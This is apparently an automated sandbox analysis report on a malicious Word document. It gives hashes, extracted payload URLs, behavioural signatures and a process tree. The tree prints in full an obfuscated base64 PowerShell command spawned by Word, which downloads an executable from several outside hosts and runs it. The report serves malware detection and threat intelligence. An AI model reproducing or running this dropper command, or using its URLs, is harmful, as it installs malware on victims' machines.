Analysis
-
max time kernel
101s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
25-09-2024 14:55
General
-
Target
Dokumentenkopie-84150054-190221.doc
-
Size
277KB
-
MD5
582ee4846834a26ebc4fd15c845e5c85
-
SHA1
bb3bb4f1fb4930272c9b036716762d1c3b10ce20
-
SHA256
0a430c521e0b67b41fe962570eddc2f391c29bc0d9b688b2a35c834cd08a58ae
-
SHA512
9ac0ec1b3f50abad790cc88de42e20b72182849e02eaf0f28e63c3221029a89e2144daa33fff8358bfd49d4495fd7444a1ae87e5d257ff93345590e54f239f87
-
SSDEEP
6144:XG5/BnVfRFJ7KK9aHScdX9znGUhYNpuKCxx6djQ:X2n9R/lA5dX9znGUiNrdjQ
Malware Config
Extracted
http://81.56.198.200/vzDYQ0vT
http://sosh47.citycheb.ru/Epe9RyrbX
http://thptngochoi.edu.vn/3X1Gc99SU
http://fit-school.ru/zCBKJesoEs
http://diaocthiennam.vn/tcD61klP
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 3 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Dokumentenkopie-84150054-190221.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exepowersheLl -e JABpADcAXwBfADkAXwA4AD0AKAAnAGoAMgBfADUAJwArACcANAAnACsAJwA0AF8AJwApADsAJABVAF8AXwBfADMAMgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AF8AMgBfADgAXwAyADAAPQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwA4ADEALgA1ADYALgAnACsAJwAxADkAOAAuADIAMAAwAC8AJwArACcAdgB6AEQAWQAnACsAJwBRADAAJwArACcAdgBUAEAAaAB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwBzAG8AcwBoACcAKwAnADQANwAuAGMAJwArACcAaQAnACsAJwB0AHkAYwAnACsAJwBoACcAKwAnAGUAYgAuAHIAdQAvAEUAcAAnACsAJwBlADkAUgB5AHIAYgBYAEAAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGgAcAB0ACcAKwAnAG4AZwBvAGMAaABvAGkALgBlACcAKwAnAGQAJwArACcAdQAuAHYAbgAvADMAWAAxAEcAYwA5ADkAJwArACcAUwBVAEAAaAB0AHQAcAAnACsAJwA6AC8ALwBmAGkAdAAtAHMAJwArACcAYwBoAG8AJwArACcAbwBsAC4AcgB1ACcAKwAnAC8AegBDAEIASwBKAGUAcwBvAEUAJwArACcAcwAnACsAJwBAAGgAdAB0AHAAOgAvAC8AZABpAGEAbwBjACcAKwAnAHQAaABpAGUAJwArACcAbgAnACsAJwBuAGEAbQAuAHYAbgAvAHQAJwArACcAYwBEACcAKwAnADYAJwArACcAMQBrAGwAUAAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABqADEAMgBfAF8AXwBfADIAPQAoACcAVgAzACcAKwAnADcANgBfACcAKwAnAF8AXwAyACcAKQA7ACQAYgA0ADcAMwAyADkAIAA9ACAAKAAnADQAOAAnACsAJwAwACcAKQA7ACQAegA3ADYAMAA1ADkAXwAwAD0AKAAnAGMAJwArACcANQAzAF8AOAAnACsAJwA2AF8AMAAnACkAOwAkAHoAXwA5ADUAXwBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABiADQANwAzADIAOQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAOQAxADgANwA4ADkANAAgAGkAbgAgACQAegBfADIAXwA4AF8AMgAwACkAewB0AHIAeQB7ACQAVQBfAF8AXwAzADIALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAUgA5ADEAOAA3ADgAOQA0ACwAIAAkAHoAXwA5ADUAXwBfACkAOwAkAGMAXwBfAF8ANwAzADAAXwA9ACgAJwBIADcAJwArACcANgA0ADAAOAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJAB6AF8AOQA1AF8AXwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHoAXwA5ADUAXwBfADsAJABiADMAMQA2AF8AXwA9ACgAJwBRADcANwA4ADMAJwArACcANwA3ADYAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG4AOAA0ADIAXwAyAD0AKAAnAHMAMgAnACsAJwBfAF8AJwArACcANABfACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2KB
MD58910f30cb96bdbf77b263c96edb3b4e2
SHA1d3683457823647f3f697fe165f8dadc361f1c5cd
SHA2562f5f2b7d5b3d92b0573ac487848b0a8417efd9c6ed8d12b9796032d3eadcd650
SHA51215d5a781b17fb322eeb3bf22f8dd92d25c671f2da2e52dea86f4e2a47cfdc2f11b57df0c8bada16b955f3f84667d19ce2f4e7affb37914416dc7bc8df98d0bba
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB